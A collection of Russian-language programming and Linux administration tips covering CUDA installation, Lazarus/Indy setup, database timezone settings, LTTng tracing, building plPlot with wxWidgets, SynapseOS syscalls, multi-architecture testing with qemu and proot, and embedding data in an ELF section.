    SDK поддерживает версию gcc 4.3, если использовать версию gcc 4.4, то при сборке возникнут ошибки 
    
    Открыть <путь где установлен SDK>/common/common.mk и заменить строки  
    
       > CXX        := g++-4.3
       > CC         := gcc-4.3
       > LINK       := g++-4.3 -fPIC
       > NVCCFLAGS :=--compiler-bindir=/usr/bin/gcc-4.3
    
    Компиляция
    
       make
    
    После компиляции, готовые примеры будут находится в папке <путь где установлен SDK>/C/bin/linux/release.
    
     
    ----* Настройка Nvidia CUDA 2.3 на Ubuntu 9.04   Автор: Юрий Иванов  [комментарии]
     
    Технология CUDA позволяет производить вычисления на видеокарте.  Для некоторых
    задач скорость вычислений ускоряется в десятки раз. CUDA 2.3 официально
    поддерживает Ubuntu 9.04 . Но тем не менее есть ньюансы. Предлагаю ознакомиться
    с моим успешным опытом.
    
    1. Для cuda 2.3 нужен 190й драйвер NVIDIA. Ставим драйвер как написано здесь
    http://www.ubuntugeek.com/install-nvidia-graphics-drivers-190-42-in-ubuntu-karmicjauntyintrepidhardy.html и
     перезагрузка.
    
    А именно так:
    
    откройте файл
       sudo gedit /etc/apt/sources.list
    
    и добавьте следующие строки:
       deb http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu jaunty main
       deb-src http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu jaunty main
    
    добавляем ключи
       sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys CEC06767
    
    устанавливаем
       sudo apt-get install nvidia-190-modaliases nvidia-glx-190 nvidia-settings-190
    
    перезагрузка
    
    2. Ставим от рута cudatoolkit. Скачать ПО можно здесь:
    http://www.nvidia.ru/object/cuda_get_ru.html . Видеодрайвер не нужен - мы его
    поставили в предыдущем шаге.
       chmod 744 cudatoolkit_2.3_linux_32_ubuntu9.04.run cudasdk_2.3_linux.run 
       sudo ./cudatoolkit_2.3_linux_32_ubuntu9.04.run
    
    3. Ставим от пользователя cuda sdk
    
       ./cudasdk_2.3_linux.run
    
    4.добавляем в ~/.bashrc строки
    
       #settings for cuda
       export PATH=/usr/local/cuda/bin:$PATH
       export LD_LIBRARY_PATH=/usr/local/cuda/lib:$LD_LIBRARY_PATH
    
    (для 64-битных систем в переменной LD_LIBRARY_PATH надо указывать на каталог /usr/local/cuda/lib64)
    и выполняем эти команды в терминале чтоб не перезагружаться.
    
    5. Доустанавливаем пакеты и компилируем примеры sdk
    
    5.1 Доустанавливаем пакеты:
    
       sudo apt-get install g++ freeglut3-dev libxi-dev libxmu-dev
    
    ставит еще кучу дополнительных пакетов. мы соглашаемся.
    
    5.2 Компиляцию можно делать для всех программ и по одиночке. Пробуем
    
       cd ~/NVIDIA_GPU_Computing_SDK/C
       make
    
    откомпилированные бинарники находятся в ~/NVIDIA_GPU_Computing_SDK/C/bin/linux/release
    
    Можно примеры откомпилировать даже если на компьютере нет видеокарты
    поддерживающей CUDA. В этом случае задается параметр emu=1. Результат будет в
    папке ~/NVIDIA_GPU_Computing_SDK/C/bin/linux/emurelease
    
       make emu=1
    
    6. Запускаем откомпилированные программы и радуемся. Проверкой является вывод
    программ deviceQuery и bandwidthTest. Вот вывод программ:
    
       ./deviceQuery
       CUDA Device Query (Runtime API) version (CUDART static linking)
       There is 1 device supporting CUDA
    
       Device 0: "GeForce GTX 260"
        CUDA Driver Version:                           2.30
        CUDA Runtime Version:                          2.30
      ...
       Test PASSED
    
       ./bandwidthTest
    
       Running on......
         device 0:GeForce GTX 260
       Quick Mode
       Host to Device Bandwidth for Pageable memory
       Transfer Size (Bytes)   Bandwidth(MB/s)
        33554432      3168.1
       ... 
       Test PASSED
    
    PS. После установки 190-го драйвера возникает какой-то конфликт с кодеками.
    Предлагают поставить 185й драйвер но тогда cuda работать не будет.
    
     
    ----* Delphi-подобная среда разработки в Linux на базе Lazarus и Indy 10   Автор: Romeo Ordos  [комментарии]
     
    Уже третий год программирую на Delphi и с переходом на Линукс очень огорчился, 
    тем что здесь его поддержка довольно плохо реализована. Недавно наткнулся на интересный 
    проект Free Pascal Compiler и IDE для него: Lazaros. Как настоящий дельфист решил испытать судьбу. 
    Получилось довольно неплохо, и теперь я с уверенностью полностью погрузился в мир Linux. 
    Все опыты проводил в дистрибутиве Debian (5.0 lenny).
    
    Изначально добавляем ключи подлинности репозитория:
    
       gpg --keyserver hkp://pgp.mit.edu:11371 --recv-keys 6A11800F
       gpg --export 6A11800F | sudo apt-key add -
    
    Добавляем сам репозиторий:
    
       echo "deb http://www.hu.freepascal.org/lazarus/ lazarus-testing universe" > /etc/apt/sources.list.d/lazarus.list
       apt-get update
    
    Устанавливаем Lazarus и fpc
    
       apt-get install lazarus
    
    Добавляем компоненты Indy:
    
       wget http://www.indyproject.org/Sockets/fpc/indy-10.2.0.1.tar.gz
       sudo cp ./indy-10.2.0.1.tar.gz /usr/share/lazarus/components/
       sudo tar -xzf indy-10.2.0.1.tar.gz
       cd /usr/share/lazarus/components/indy-10.2.0.1
       sudo mkdir saved
       sudo cp ./lazarus/* ./saved
       sudo cp -f ./fpc/* ./lazarus
       sudo cp -i ./saved/* ./lazarus # Всегда отвечаем n
    
    Теперь устанавливаем сам пакет Indy из самого Lazarus:
    
    Сервис>Преобразовать пакет Delphi в пакет
    Lazarus>/usr/share/lazarus/components/indy-10.2.0.1.lazarus/indy/laz.lpk
    
    Ждем долгую компиляцию пакета, после чего наслаждаемся всей функциональностью Delphi...
    
    Полезные ссылки:
       http://www.lazarus.freepascal.org/
       http://www.freepascal.ru/
       http://wiki.lazarus.freepascal.org/index.php/Indy_with_Lazarus
    
     
    ----* Изменение текущего часового пояса в MySQL, PostgreSQL и в скриптах   [комментарии]
     
    MySQL:
    
    Посмотреть список глобального и локального часового пояса:
       SHOW VARIABLES LIKE '%time_zone%';
    
    Конвертация в запросе времени из одной временной зоны в другую:
       SELECT CONVERT_TZ('2008-10-24 5:00:00','UTC','MSK');
    
    Изменить текущую зону для локального соединения:
       SET time_zone = 'MSK'
    или
       SET time_zone = '+03:00';
    
    Для всего MySQL сервера часовой пояс можно поменять установив в файле конфигурации:
       default-time-zone='MSK'
    
    или под привилегированным пользователем выполнить запрос:
       SET GLOBAL time_zone ='MSK'
    
    
    PostgreSQL:
    
    Для текущей сессии зона задается через:
       SET TIME ZONE 'MSK'
    или
       SET TIME ZONE '-3'
    
    Для клиентов использующих libpq часовой пояс может быть определен в переменной окружения PGTZ.
    
    Если часовой пояс для всей СУБД не определен (параметр timezone) в postgresql.conf, он берется из 
    стандартной переменной окружения TZ
    
    в shell:
       export TZ=GMT-3
    
    в perl:
       $ENV{"TZ"}="GMT-3";
       
    в PHP:
       putenv("TZ=GMT-3");
    
     
    ----* Как посмотреть полный список используемых программой библиотек и функций   [обсудить]
     
    Библиотеки:
        readelf -d программа |grep NEEDED
    Функции из библиотек:
        readelf -s программа
    
     
    ----* Как вернуть исходные тексты в состояние до наложения патча   [обсудить]
     
    bzcat patch.bz2| patch -R -p1
       где, -R - реверсное наложение патча (возвращает в исходное до патча состояние), -p1 - уровень очистки начального пути
       (если путь в патче "diff -ruN path1/path2/file.c", то -p1 вырезает path1/, -p2 - path1/path2/)
    
     

       C/C++, сборка, отладка

    ----* Использование LTTng для прозрачной трассировки приложений в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Система трассировки LTTng (http://lttng.org/) работает на уровне Linux-ядра и
    отличается минимальным влиянием на работу профилируемого приложения, что
    позволяет приблизить условия работы данного приложения к его выполнению без
    использования трассировки (например, позволяет выявлять проблемы с
    производительностью в программах, работающих в реальном режиме времени).
    
    Поддержка LTTng пока не включена в состав Linux-ядра, но недавно для Ubuntu
    Linux  был подготовлен специальный PPA-репозиторий, позволяющий значительно
    упростить установку LTTng.
    
    Приведем пример использования LTTng для отладки системы и тюнинга производительности.
    
    Подключаем репозиторий:
    
       sudo add-apt-repository ppa:lttng/ppa
       sudo aptitude update
    
    Устанавливаем компоненты для трассировки ядра (LTTng работает только с ядром
    2.6.35, поэтому в Ubuntu 10.04 может потребоваться установка экспериментального
    пакета с более новым ядром):
    
       sudo apt-get install lttng
    
    Установка утилит для трассировки пользовательских приложений:
    
       sudo apt-get install ust-bin libust-dev liburcu-dev
    
    Пример поддержи трассировки на уровне ядра
    
    Загружаем ядро lttng:
    
       sudo ltt-armall
    
    Начинаем трассировку:
    
       sudo lttctl -C -w /tmp/trace1 программа
    
    Прекращаем трассировку:
    
       sudo lttctl -D программа
    
    Результаты трассировки /tmp/trace1 теперь можно открыть в утилите lttv или
    использовать режим текстового дампа:
    
       lttv -m textDump -t /tmp/trace1 | grep ...
    
    
    Трассировка пользовательских приложений со связыванием специальной библиотеки
    
    Собираем приложения добавив в опции сборки флаг '-lust'.
    
    Запускаем приложение с трассировкой:
    
       usttrace исследуемая_программа
    
    Контроль трассировки с удаленной машины
    
    На локальной машине устанавливаем и запускаем программу-агент:
    
       sudo apt-get install tcf-lttng-agent
       sudo tcf-agent
    
    На удаленной машине устанавливаем и запускаем клиента:
    
       sudo apt-get install tcf-lttng-client
       tcf-client
    
    далее, в появившейся консоли вводим:
       connect ip_локальной_машины
    
    и после соединения передаем управляющие команды:
       tcf ltt_control getProviders
       tcf ltt_control setupTrace "kernel" "0" "traceTest"
    
    
    Пример трассировки
    
    Рассмотрим для примера простую программу, открывающую файл и записывающую в него циклично числа.
    
        #include <stdio.h>
        #define INT_MAX 2147483647
        int main(volatile int argc, char **argv) {
          int i = 3;
          FILE *fd = fopen("test.out", "w");
          fwrite(&i, sizeof(int), 1, fd);
          fclose(fd);
          volatile long a;
          int x;
          for (x = 0; x<INT_MAX; x++) {
            a++;
          }
          return 0;
       }
    
    Собираем данную программу:
    
       gcc -o usecase usecase.c
     
      
    Теперь попробуем выполнить трассировку при помощи LTTng.
    
    Активируем точки трассировки в ядре:
    
       sudo ltt-armall
    
    Для автоматизации выполнения активации трассировки, запуска программы и
    остановки трассировки напишем небольшой скрипт trace-cmd.sh:
    
       #!/bin/sh
       if [ -z "$@" ]; then
         echo "missing command argument"
         exit 1
       fi
       cmd="$@"
    
       name="cmd"
       dir="$(pwd)/trace-$name"
       sudo rm -rf $dir
       sudo lttctl -o channel.all.bufnum=8 -C -w $dir $name
       echo "executing $cmd..."
       $cmd
       echo "return code: $?" 
       sudo lttctl -D $name
    
    Запускаем:
    
       ./trace-cmd.sh ./usecase
    
    После выполнения трассировки для наглядного анализа результатов запускаем
    GUI-утилиту lttv-gui, заходим в меню File->Add и выбираем  директорию
    трассировки  "trace-имя", сохраненную в каталоге, в котором был запущен скрипт
    trace-cmd.sh. Каждое из событий трассировки представлено в виде графика. Для
    нашего тестового приложения будет присутствовать три фазы: создание/доступ к
    файлу, вычислительная фаза и завершение процесса.
    
    Оценка различий от strace
    
    Если сравнить результаты работы стандартной утилиты strace:
    
       strace -o usecase.strace ./usecase
    
    В дополнение к системным вызовам, LTTng учитывает задействование подсистем
    ядра, события планировщика задач, обработку прерываний и прочие детали,
    недоступные в выводе strace. Но самым интересным отличием от strace является
    то, что программа никаким образом не может определить, что подвергается
    трассировке. Время наступления событий отображается в наносекундах. Влияние на
    производительность трассировки минимально, тестирование показало, что работа
    замедляется не более чем на 3%.
    
     
    ----* Как подружить plPlot и wxWidgets под ОС Windows   Автор: KoD  [комментарии]
     
    0) Введение.
    
    Данный материал рассчитан на начинающих программистов, в частности, студентов,
    которым поможет избежать огромного количества подводных камней, таящихся на
    пути к использованию этих мощных программных продуктов.
    
    0.1) wxWidgets
    
    В сети очень много материала про данную библиотеку, поэтому отмечу здесь только
    основной плюс, что она не имеет лицензионных ограничений в отличие от
    аналогичного продукта в виде библиотеки Qt, и позволяет легко писать свободное
    и коммерческое ПО любому желающему.
    
    Со всей богатой документацией можно ознакомиться на официальном сайте.
    
    0.2) plPlot
    
    plPlot так же является свободно распространяемой  (LGPL) библиотекой,
    предназначенной для построения графиков функций в 2х-мерном и 3х-мерном
    пространствах, различных видов и форм.
    
    В связке с библиотекой wxWidgets дает практически неограниченные возможности по
    визуализации данных в различных областях применения, от систем мониторинга до
    финансовых приложений, калькуляторов и расчетных систем.
    Ссылка на официальный сайт.
    
    Обе библиотеки распространяются в виде исходного кода, а значит на OS Windows,
    необходимо будет их собрать и скомпилировать при помощи утилиты CMake и
    компилятора gcc из пакета MinGW32.
    
    На момент написания статьи самые свежие версии необходимого ПО были:
    
    
  • CMake - 3.12.4;
  • Mingw BASE-bin - 2013072200, gcc-c++ - 6.3.0-1;
  • wxWidgets - 3.0.4 Stable;
  • plPlot - 5.13.0;
  • IDE code::Blocks - 17.12; Рекомендую использовать именно данную конфигурацию для более предсказуемого результата. 1) Установка утилит и компиляторов 1.1)Cmake Качаем установщик в соответствии с разрядностью своей операционной системы
  • x32
  • x64 Запускаем..., далее..., далее..., после установки необходимо добавить в переменную %PATH% путь к каталогу "CMake\\bin\\", в стандартной установке это "C:\\Program Files\\CMake\\bin", сделать это можно через Пуск/ Панель управления/ Система/ Дополнительные параметры/ Переменные среды. 1.2) MinGW32 На официальном сайте забираем утилиту "MinGW Installation Manager (mingw-get)" из раздела "Downloads". Запускаем ее и в открывшемся окне через правую кнопку мыши отмечаем для установки пакеты "mingw32-base-bin" и "mingw32-gcc-g++-bin", затем в меню "Installaton" жмем на "Apply Changes" и дожидаемся установки всех пакетов. В случае сбоя недостающие библиотеки можно докачать с репозитория MinGW на sourceforge.net. Нужно убедиться в том, что установилась библиотека "MinGW\\lib\\libgdiplus.a" и заголовочный файл "MinGW\\include\\gdiplus.h". Так же добавляем путь к каталогу "bin\\" в переменную %PATH%, в стандартной установке это "C:\\MinGW\\bin" 2) Установка библиотеки wxWidgets На сайте библиотеки в разделе Downloads качаем установочный файл с исходными текстами и распаковываем.. Путь по-умолчанию будет в корне диска "c:\\wxWidgets-3.0.4\\", и желательно, чтобы он не содержал кириллицы и пробелов. Перед установкой редактируем файл "wxWidgets-3.0.4\\include\\wx\\msw\\setup.h", меняем в нем переменную wxUSE_GRAPHIC_CONTEXT=0 на 1 для всех компиляторов. Затем копируем этот "setup.h" в каталог "wxWidgets-3.0.4\\include\\wx\\" По невыясненным причинам компилятор выдает ошибку при сборке библиотеки, чтобы ее избежать редактируем "MinGW\\include\\stdio.h". Нужно закомментировать строку 345: // extern int __mingw_stdio_redirect__(snprintf)(char*, size_t, const char*, ...); Далее, нужно открыть командную строку через Пуск-Выполнить - cmd В командной строке: cd c:\\wxWidgets-3.0.4\\build\\msw mingw32-make -f makefile.gcc SHARED=1 UNICODE=1 BUILD=release MONOLITHIC=0 Компиляция обычно занимает до получаса, в результате в каталоге "wxWidgets-3.0.4\\lib\\gcc_dll" дожны появиться бинарные файлы библиотек. Можно идти далее... 3) Установка библиотеки plPlot Качаем исходники с офциального сайта, распаковываем во временный каталог "c:\\Temp\\" или другой, но только не в корень диска, так как там, в результате, будет бинарная сборка. Для успешной компиляции необходимо произвести следующие действия:
  • Скопировать из "wxWidgets-3.0.4\\lib\\gcc_dll\\" файлы "wxbase30u_gcc_custom.dll" и "wxmsw30u_core_gcc_custom.dll" в каталог "Temp\\plplot-5.13.0\\dll\\"
  • Отредактировать "Temp\\plplot-5.13.0\\drivers\\wxwidgets_dev.cpp" строку под номером 647 rand_s(&m_seed); и привести ее к виду: m_seed = rand(); Сохранить файл. В командной строке Windows cmd: cd c:\\Temp\\plplot-5.13.0\\ cmake -G "MinGW Makefiles" -DCMAKE_INSTALL_PREFIX=c:\\plplot\\ -DENABLE_wxwidgets=ON -DPLD_wxwidgets=ON Необходимо убедиться в отсутствии ошибок и что переменные установлены верно: .... a lot of output .... wxWidgets_FOUND=TRUE .... a lot of output .... ENABLE_wxwidgets=ON Если что-то пошло не так, нужно выяснить причину, удалить каталог "CMakeFiles\\" и файл "CMakeCache.txt" и запустить CMake повторно. Опять переходим в командную строку: mingw32-make Дожидаемся успешной компиляции и в cmd от имени Администратора: cd c:\\Temp\\plplot-5.13.0\\ mingw32-make install После указанных действий появляется каталог "c:\\plplot\\" c бинарной сборкой библиотеки и заголовочными файлами. 4) Установка среды разработки приложений Code::Blocks Здесь особых нюансов не предвидется. Качаем C::B с официального сайта, запускаем установщик и убеждаемся, что система увидела компилятор. Запускаем IDE с рабочего стола двойным щелчком. 5) Проба пера: "Hello, World!" На начальном экране Code::Blocks нажимаем "Create New Project", в выпадающем списке "Category"->"GUI", нажать "new wxWidgets Project". В диалоге нужно выбрать версию wxWidgets-3.0.x, далее, директорию проекта и название, имя автора, далее установить буллеты: Preferred GUI Builder - [o]wxSmith Application type - [o]Frame based далее, "wxWidgets location" - "c:\\wxWidgets-3.0.4" , далее, установить галочки в "wxWidgets library settings": [V] Use wxWidgets dll [V] Enable Unicode Finish. Раскроется окно GUI-Builder'а wxSmith. Здесь в окне "Management" переходим во вкладку "Projects" и правым щелчком мыши на названии проекта в контекстном выбираем "Build options". Откроется окно "Project build options", на вкладке "Linker settings" добавляем 3 библиотеки кнопкой "Add" это (одной строкой): plplot.dll;plplotcxx.dll;plplotwxwidgets.dll; на вкладке "Search directories":
  • для "Compiler" добавить "c:\\plplot\\include",
  • для "Linker" добавить "c:\\plplot\\lib". 5.1) Можно приступить к программированию.. В дереве проекта открываем файл "Headers - Main.h" и добавляем заголовки: #include <wx/dc.h> #include <wx/dcclient.h> #include <wx/dcmemory.h> #include <plplot/wxPLplotstream.h> В секции private класса Фрейма пишем: private: int w, h; wxBitmap bmp; wxMemoryDC mdc; wxPLplotstream pls; Открываем файл "Sources - Main.cpp" и в теле конструктора Фрейма testFrame::testFrame(wxWindow* parent,wxWindowID id) после служебного кода вставляем: GetSize(&w, &h); bmp.Create( w, h, -1 ); mdc.SelectObject(bmp); if(! pls.IsValid()){ pls.Create((wxDC*)&mdc, w, h, wxPLPLOT_NONE); } const int NSIZE = 80; PLFLT x[NSIZE], y[NSIZE]; x[0] = (-1) * NSIZE/4; y[0] = x[0] * x[0]; for(int i=1; i < NSIZE; i++){ x[i] = x[i - 1] + 0.5; y[i] = x[i] * x[i]; } pls.env(-20., 20., -10., 100, 0, 1); pls.width(2); pls.col0(3); pls.line(NSIZE, x, y); Затем, необходимо в окне "Management" на вкладке "Resources" открыть wxSmith, выделить главное окно и создать обработчик события EVT_PAINT в разделе "{}" Events. Функция автоматически называется "OnPaint". В ее теле вводим код: void testFrame::OnPaint(wxPaintEvent& event) { int width, height; GetSize( &width, &height ); height = height; // Check if we window was resized (or dc is invalid) if((w != width) || (w != height) ) { w = width; h = height; mdc.SelectObject( wxNullBitmap ); bmp.Create(w,h, mdc); mdc.SelectObject(bmp); pls.SetSize( width, height ); pls.replot(); Refresh(false); } wxPaintDC dc(this); dc.Blit(0,0,w,h,(wxDC*)&mdc,0,0); } Для запуска приложения потребуются бинарники всех библиотек, так что копируем из "wxWidgets-3.0.4\\lib\\gcc_dll\\" файлы "wxbase30u_gcc_custom.dll" и "wxmsw30u_core_gcc_custom.dll", из "plplot\\bin" все 5 dll файлов и из "plplot\\lib\\plplot5.13.0\\drivers" файл "wxwidgets.dll" в каталог проекта "bin\\Debug", туда, где будет собран основной .exe файл. Итого, минимальный список библиотек:
  • libcsirocsa.dll
  • libplplot.dll
  • libplplotcxx.dll
  • libplplotwxwidgets.dll
  • libqsastime.dll
  • wxwidgets.dll
  • wxmsw30u_gcc_custom.dll
  • wxmsw30u_core_gcc_custom.dll Теперь можно спокойно собрать проект и запустить бинарный файл. в итоге получается такая симпатичная парабола. По вопросам сборки библиотек, прошу обращаться на почту автора xsrc@mail.ru.
  •  
    ----* Создание программ под SynapseOS   Автор: Арен Елчинян  [комментарии]
     
    Пример создания приложения "Hello World", используя clang и сисфункцию вывода для
    SynapseOS.
    
    Перед написанием любой программы нужно установить средства сборки.
    В Ubuntu:
    
       sudo apt install llvm lld  
    
    Далее перейдём к теории.
    
    Сисфункции в SynapseOS вызываются через прерывание 0x80.
    
    Регистры сисфункций:
      eax - номер сисфункций
      ebx - параметр 1
      edx - параметр 2
      ecx - параметр 3
      esi - параметр 4
      edi - параметр 5
      ebp - параметр 6
    
    В eax также идёт результат выполнения.
    
    Пример вызова сисфункции:
    
       mov eax, 42 ; Получаем количество тиков
       int 80h ; Вызов прерывания
    
    Нас интересует сисфункция под номером 0 - вывод строки в консоль.
    
    На языке С это выглядит так:
    
       int print_str(char *str) {
         uint32_t result = 0;
         asm volatile("int $0x80" 
               : "=a"(result)         // result = eax (после выполнения)
               : "a"(SC_CODE_puts),   // eax = SC_CODE_puts(0)
                 "b"(str)             // ebx = str
         );
         return result;
       }
       int main() {
         return print_str("Hello world!\\n");
       }
    
    Результат:
    
       Hello world!
    
    На ассемблере FASM:
    
       ; Hello World - FASM
       format ELF
       public main
       main:
         mov eax, 0   ; 0 - сисфункция
         mov ebx, hello ; параметры сисфункции
         int 80h
         ret
       hello db 'Hello world!\\n',0
    
    Результат:
    
       Hello world!
    
     
    ----* Тестирование хелловорлда под 17 платформ одним скриптом   Автор: Урри  [комментарии]
     
    В заметке рассказано как собрать и, главное, запустить и протестировать свой
    хелловорлд сразу под 17 платформ (29 вариантов сборки, так как почти каждая
    платформа идёт в двух вариантах: libc и musl) не создавая зоопарк виртуалок.
    Все желаемое осуществляется с помощью сборочного инструментарий void-linux, за
    что им огромное спасибо - работа проделана огромная.
    
    Итак, что нам надо:
    
    
  • Linux, любой (я использую Mint),
  • Git (им будем ставить инструментарий для сборки исходных текстов),
  • 20+ ГБ на диске (у меня выделенный SSD, хотя все равно долго получается).
  • fuse-overlayfs
  • proot
  • qemu-static Все остальное автоматически доставится в процессе. Шаг 1: настройка основной среды. Этот шаг полностью описан в совете "Сборка и тестирование хелловорлда под 17 платформ одним скриптом" по ссылке https://www.opennet.ru/tips/3193_build_compile_test_arm_mips_x86_powerp.shtml Там же описана сборка. Следующие шаги предполагают, что шаг 1 проделан и все функционирует без ошибок. Шаг 2: установка fuse-overlayfs и proot В Linux Mint это производится с помощью "sudo apt install fuse-overlayfs proot". fuse-overlayfs нам нужен для того, чтобы не захламлять сборочный инструментарий. Мы будем "накладывать" ваш собранный хелловорлд (и все что с ним, вы же не только один бинарный файл будете собирать?) поверх рабочей файловой системы. proot нам нужен для создания рута (/), в котором и будет работать наша эмуляция всяких arm и mips. Шаг 3: qemu. Ставим qemu, причём нам нужны статически скомпонованные исполняемые файлы, так как мы их будем запускать в отдельном руте, не имеющем доступа к любым библиотекам хоста. Для тестирования всех платформ нам нужны будут вот эти: qemu-aarch64-static, qemu-arm-static, qemu-i386-static, qemu-mipsel-static, qemu-mips-static, qemu-ppc64le-static, qemu-ppc64-static, qemu-ppc-static, qemu-x86_64-static. В Linux Mint они ставятся с помощью "sudo apt install qemu-user-static". Шаг 4: пути. Создаём каталог "testing" прямо в нашем рабочем окружении (куда вы клонировали void-packages, у меня этот каталог так и называется - "void-packages"). Не будем выносить сор из избы. В этом каталоге заводим временные подкаталоги для fuse-overlayfs. Я их назвал по платформам (aarch64, armv5tel, armv7hf-musl, и т.д.) Полный список не даю - мы их будем автоматически создавать в скрипте. Шаг 5: скрипт. Создаём вот такой, немного увесистый скрипт (ну уж извините - платформ много, под каждую надо кое-что захардкодить) в том же рабочем каталоге ("void-packages"). Я назвал его "script.sh". Пара комментариев к скрипту (они же есть и в коде скрипта):
  • 1. Очистка обязательна. Некоторые платформы между собой конфликтуют и без очистки у вас вполне возможно бинарник не запустится.
  • 2. В скрипте считается, что ваша поделка инсталлируется как /usr/bin/helloworld. Если это не так - поправьте скрипт под себя.
  • 3. Обязательно обратите внимание на то, что версия нашего хелловорлда - "1.0". Это вписано в предыдущем совете. Если версия у вас уже другая - поменяйте путь в скрипте (найдёте его поиском). Запускать скрипт как: "$ script.sh armv7l" #!/bin/bash [ -z "$1" ] && exit export PATH=$PATH:`pwd`/xbps/usr/bin arch=$1 folder() { case $1 in aarch64-musl) echo aarch64-linux-musl;; aarch64) echo aarch64-linux-gnu;; armv5tel-musl) echo arm-linux-musleabi;; armv5tel) echo arm-linux-gnueabi;; armv5te-musl) echo arm-linux-musleabi;; armv5te) echo arm-linux-gnueabi;; armv6hf-musl) echo arm-linux-musleabihf;; armv6hf) echo arm-linux-gnueabihf;; armv6l-musl) echo arm-linux-musleabihf;; armv6l) echo arm-linux-gnueabihf;; armv7hf-musl) echo armv7l-linux-musleabihf;; armv7hf) echo armv7l-linux-gnueabihf;; armv7l-musl) echo armv7l-linux-musleabihf;; armv7l) echo armv7l-linux-gnueabihf;; i686-musl) echo i686-linux-musl;; i686) echo i686-pc-linux-gnu;; mipselhf-musl) echo mipsel-linux-muslhf;; mipsel-musl) echo mipsel-linux-musl;; mipshf-musl) echo mips-linux-muslhf;; mips-musl) echo mips-linux-musl;; ppc64le-musl) echo powerpc64le-linux-musl;; ppc64le) echo powerpc64le-linux-gnu;; ppc64-musl) echo powerpc64-linux-musl;; ppc64) echo powerpc64-linux-gnu;; ppcle-musl) echo powerpcle-linux-musl;; ppcle) echo powerpcle-linux-gnu;; ppc-musl) echo powerpc-linux-musl;; ppc) echo powerpc-linux-gnu;; x86_64-musl) echo x86_64-linux-musl;; esac } qemu() { case $1 in aarch64-musl) echo qemu-aarch64-static;; aarch64) echo qemu-aarch64-static;; armv5tel-musl) echo qemu-arm-static;; armv5tel) echo qemu-arm-static;; armv5te-musl) echo qemu-arm-static;; armv5te) echo qemu-arm-static;; armv6hf-musl) echo qemu-arm-static;; armv6hf) echo qemu-arm-static;; armv6l-musl) echo qemu-arm-static;; armv6l) echo qemu-arm-static;; armv7hf-musl) echo qemu-arm-static;; armv7hf)aarch64-linux-musl echo qemu-arm-static;; armv7l-musl) echo qemu-arm-static;; armv7l) echo qemu-arm-static;; i686-musl) echo qemu-i386-static;; i686) echo qemu-i386-static;; mipselhf-musl) echo qemu-mipsel-static;; mipsel-musl) echo qemu-mipsel-static;; mipshf-musl) echo qemu-mips-static;; mips-musl) echo qemu-mips-static;; ppc64le-musl) echo qemu-ppc64le-static;; ppc64le) echo qemu-ppc64le-static;; ppc64-musl) echo qemu-ppc64-static;; ppc64) echo qemu-ppc64-static;; ppcle-musl) echo qemu-ppc-static;; ppcle) echo qemu-ppc64le-static;; ppc-musl) echo qemu-ppc-static;; ppc) echo qemu-ppc-static;; x86_64-musl) echo qemu-x86_64-static;; esac } ROOT=`pwd`/testing/$arch # qemu. # на этом шаге мы копируем бинарник qemu в наш будущий рут, чтобы fuse-overlayfs могла его не только найти, но и спокойно запустить [ -s `pwd`/masterdir/usr/$(folder $arch)/$(qemu $arch) ] || cp `which $(qemu $arch)` `pwd`/masterdir/usr/$(folder $arch) echo ----------------------------------------------------------------------------------------------------- echo $arch # обязательно почистим сборку ./xbps-src -a $arch clean helloworld # собираем. детали в прошлом совете ./xbps-src -a $arch -C pkg helloworld || exit $? echo -- package built, lets install them ----------------------------------------------------------------- # создаём временный каталог для fuse-overlayfs [ -d "$ROOT" ] || mkdir "$ROOT" # накладываем собранный (и заинсталлированный тулчейном во внутренний каталог) хелловорлд на новый рут тестируемой платформы # 1.0 - версия сборки вашего пакета. детали в предыдущем совете. sleep 1 fuse-overlayfs \\ -o lowerdir=`pwd`/masterdir/usr/$(folder $arch) \\ -o upperdir=`pwd`/masterdir/destdir/$(folder $arch)/helloworld-1.0 \\ -o workdir=$ROOT \\ $ROOT echo -- testing ------------------------------------------------------------------------------------------ # а вот и само тестирование - тут ваш хелловорлд для проверки может, например, сделать `system("uname -a");` # /usr/bin/helloworld - путь, куда инсталлируется по умолчанию ваша поделка sleep 1 proot -R $ROOT /$(qemu $arch) /usr/bin/helloworld # вот мой вывод, например: "Linux ___ 5.4.0-99-generic #112-Ubuntu SMP Thu Feb 3 13:50:55 UTC 2022 armv7l" echo -- done --------------------------------------------------------------------------------------------- # и, конечно же, надо прибрать за собой. sleep 1 fusermount -u $ROOT Шаг 6: последний - автоматизация. Делаем ещё один, финальный скрипт. Его же и дёргаем когда хотим проверить не сломали ли мы что-то в очередной раз своим новым кoдoм. for arch in x86_64-musl \ aarch64-musl aarch64 \ armv5tel-musl armv5tel armv5te-musl armv5te armv6hf-musl armv6hf armv6l-musl armv6l armv7hf-musl armv7hf armv7l-musl armv7l \ i686-musl i686 \ mipselhf-musl mipsel-musl mipshf-musl mips-musl \ ppc64le-musl ppc64le ppc64-musl ppc64 \ ppcle-musl ppcle \ ppc-musl ppc do ./script.sh $arch done Все. Надеюсь, эта вполне несложная автоматизация поможет вам овладеть действительно мультиплатформенным кодингом.
  •  
    ----* Sonatype Nexus как Maven proxy (доп. ссылка 1)   Автор: ACCA  [комментарии]
     
    При попытке установить, например,
    com.google.protobuf:protoc:exe:linux-x86_64:2.6.1, получаете ошибку:
    
       Return code is: 400, ReasonPhrase: Detected content type [application/x-executable], but expected [application/x-dosexec]: com/google/protobuf/protoc/2.6.1/protoc-2.6.1-linux-x86_64.exe
    
    В настройке репозитория maven2(proxy) есть незаметная галочка "Validate that
    all content uploaded to this repository is of a MIME type appropriate for the
    repository format".
    
    Её выключение решает проблему, так как Nexus и Maven Central по-разному назначают MIME type.
    
     
    ----* Запись бинарных данных в секцию ELF   Автор: 赤熊  [комментарии]
     
    Стоит задача - в программе запрятать бинарные данные. Допустим архив. 
    
    Создаём файл data.cpp для включения запланированных для добавления данных:
    
       volatile char a[DATASIZE] __attribute__((section(".her"))) = {0xfa};
    
    Таким образом мы обозначаем намерения создать переменную в отдельной секции.
    
    Далее компилируем data.cpp в object-файл data.o:
    
       g++ -c -g data.cpp
    
    Смотрим shed-адрес секции. И производим заливку согласно предустановленному
    размеру переменной "a". На&#12288;моём компьютере это выглядит так:
    
       dd if=out.tar of=data.o bs=1 count= seek=52 conv=notrunc
    
    Архив, либо бинарник конечно предварительно может быть зашифрован, дабы
    избежать лишних посягательств. Дальнейшую сборку программы можно сделать Make
